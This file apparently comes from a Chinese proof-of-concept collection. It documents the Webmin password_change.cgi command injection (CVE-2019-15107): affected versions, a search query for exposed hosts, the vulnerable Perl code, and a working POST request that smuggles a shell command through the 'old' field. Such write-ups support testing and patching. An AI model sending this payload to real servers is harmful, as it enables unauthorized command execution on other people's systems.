Awesome-POC/Web应用漏洞/Webmin password_change.cgi 远程命令执行漏洞 CVE-2019-15107.md
2024-11-06 14:10:36 +08:00

55 lines
1.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Webmin password_change.cgi 远程命令执行漏洞 CVE-2019-15107
## 漏洞描述
Webmin是一个用于管理类Unix系统的管理配置工具具有Web页面。在其找回密码页。面中存在一处无需权限的命令注入漏洞通过这个漏洞攻击者即可以执行任意系统命令。
## 漏洞影响
```
Webmin <= 1.920
```
## 网络测绘
```
app="webmin"
```
## 漏洞复现
登录页面
![image-20220829101939637](images/202208291019698.png)
漏洞的触发点为文件 password_change.cgi
![image-20220829102002569](images/202208291020663.png)
其中接受的POST传参的几个参数为 `user pam expired old new1 new2` 值得注意的参数为 old, 对应的代码片段存在漏洞
![image-20220829102029855](images/202208291020941.png)
```
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
```
在 perl 中 `qx/id/`, 对应执行系统命令 id, 而可控的参数里 old 参数是可控的,导致命令执行 并通过 pass_error 回显至页面中, 验证POC
```
POST /password_change.cgi
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
```
![image-20220829102048174](images/202208291020246.png)